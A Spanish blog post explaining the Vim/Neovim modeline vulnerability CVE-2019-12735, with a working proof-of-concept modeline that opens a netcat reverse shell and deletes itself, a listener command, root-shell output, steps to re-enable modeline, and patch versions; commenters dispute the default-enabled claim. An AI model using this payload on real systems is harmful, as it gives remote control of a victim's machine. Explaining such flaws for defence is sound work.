Nueva vulnerabilidad en "Vim" y "Neovim" permite la ejecución de comandos

No hace mucho el investigador Armin Razmjou descubrió un fallo que hace vulnerable a cualquier Linux que cuente con el famoso y querido editor de texto "Vim" y su Fork "Neovim", vulnerabilidad registrada como CVE-2019-12735.

(Si no eres de este mundo) Pero ... ¿Qué es Vim?

Vim, por sus siglas en Ingles "Vi improved" es una versión mejorada del editor de texto vi, presente en todos los sistemas UNIX. Su autor, Bram Moolenaar, presentó la primera versión en 1991, fecha desde la que ha experimentado muchas mejoras.

Vulnerabilidad

Este fallo es debido a una característica llamada "modelines", que básicamente le permite al editor de texto (incluyendo Neovim) cargar desde cualquier fichero una configuración personalizada.

Esta característica viene habilitada por defecto en estos editores que, si el usuario lo desea, la puede desactivar. El problema yace es que la mayoría de usuarios no lo hacen, ocasionando un posible control total a un atacante.

Como apoda el título de este artículo con un simple archivo de texto con un modeline específico y simple es posible conseguir ejecutar código directamente en la memoria del sistema. Aunque Vim y Neovim pueden ejecutar los comandos peligrosos dentro de un sandbox, al utilizar "source" en la línea del código se consigue salir de este aislamiento.

Prueba de Concepto

En este artículo no sólo quiero tocar teoría, también la práctica, para eso solo crearemos un fichero de texto llamado "poc.txt" (para este ejemplo), donde contendrá el siguiente código modificado de "https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md" para conseguir el control del sistema remotamente o lo que se podría simplificar como una shell remota con una conexión inversa utilizando la navaja suiza "Netcat":
:!nohup nc <ip> <puerto> -e <shell> >> /tmp/nohup.dat 2>> /tmp/nohup.dat & rm <nombre del archivo> >> /tmp/nohup.dat 2>> /tmp/nohup.dat||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

Ejemplo
:!nohup nc 127.0.0.1 9999 -e /bin/sh >> /tmp/nohup.dat 2>> /tmp/nohup.dat & rm poc.txt >> /tmp/nohup.dat 2>> /tmp/nohup.dat||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

Claro ya tenemos que tener a netcat a la escucha:
nc -vlp 9999

También podemos asegurarnos que la opción de modeline no ha sido deshabilitada (:set modeline).

Una vez conectado, si la víctima simplemente ejecuta 'vim poc.txt' podremos ejecutar comandos remotamente:
listening on [any] 9999 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 42730
whoami
root


Parches y soluciones

Si ya ibas a lanzar la computadora por la ventana, tranquila/o ya los responsables de Vim y Neovim lanzaron sus correspondientes parches para corregir las vulnerabilidades originadas por estos mismos con el fin de que sigamos usando estos increíbles editores. En el caso de Vim, el parche que lo protege es el "8.1.1365", y en Neovim es la versión "0.3.6".

¿Vim y Neovim no son vulnerables?, ¡vamos a vulnerarlos!

Si en este caso no son vulnerables, pero deseas realizar la prueba de concepto, lo puedes lograr desde el archivo de configuracion de Vim, mayormente ubicado en: '/etc/vim/vimrc', aunque primero verifiquemos ejecutando la siguiente sentencia con Vim ya abierto:
# Presionamos ":" y colocamos set modeline?
# Si nos retorna "modeline" es porque somos vulnerables a este ataque y si no, nos retornaria "nomodeline"
# Y si quiero cambiarlo a "modeline" en caso de que nos retorne "modeline", colocamos el siguiente codigo en el archivo de ćonfiguracion de Vim "/etc/vim/vimrc"
# set modeline
# Y para ver si la prueba es exitosa, realiza el POC y me dices que tal ...

¿Dudas?, comentamelo o hazme saber si quieres más articulos de noticias recien sacadas del horno

Referencias:

https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md
https://www.redeszone.net/2019/06/11/vulnerabilidad-linux-hackearlo-archivo-texto/

Contribución gracias a DtxdF.

P.D. Si también quieres publicar tu artículo, no lo dudes y mándanos tu contribución a hackplayers_at_ymail.com o ponte en contacto con nosotros a través de cualquier canal disponible en las redes sociales (TwitterFacebook o Telegram).

Comentarios

  1. Es mentira que modelines venga habilitado por defecto. En debian/ubuntu, arch y redhat viene deshabilitado. bsd tambien.

    ¯\_(ツ)_/¯

    ResponderEliminar
  2. Mmmm la vulnerabilidad tira del vimrc pero este viene por defecto deshabilitado.

    Es mas en el mismo archivo hay una advertencia:

    " Modelines have historically been a source of security vulnerabilities. As
    " such, it may be a good idea to disable them and use the securemodelines
    " script, .
    " set nomodeline

    ResponderEliminar

Publicar un comentario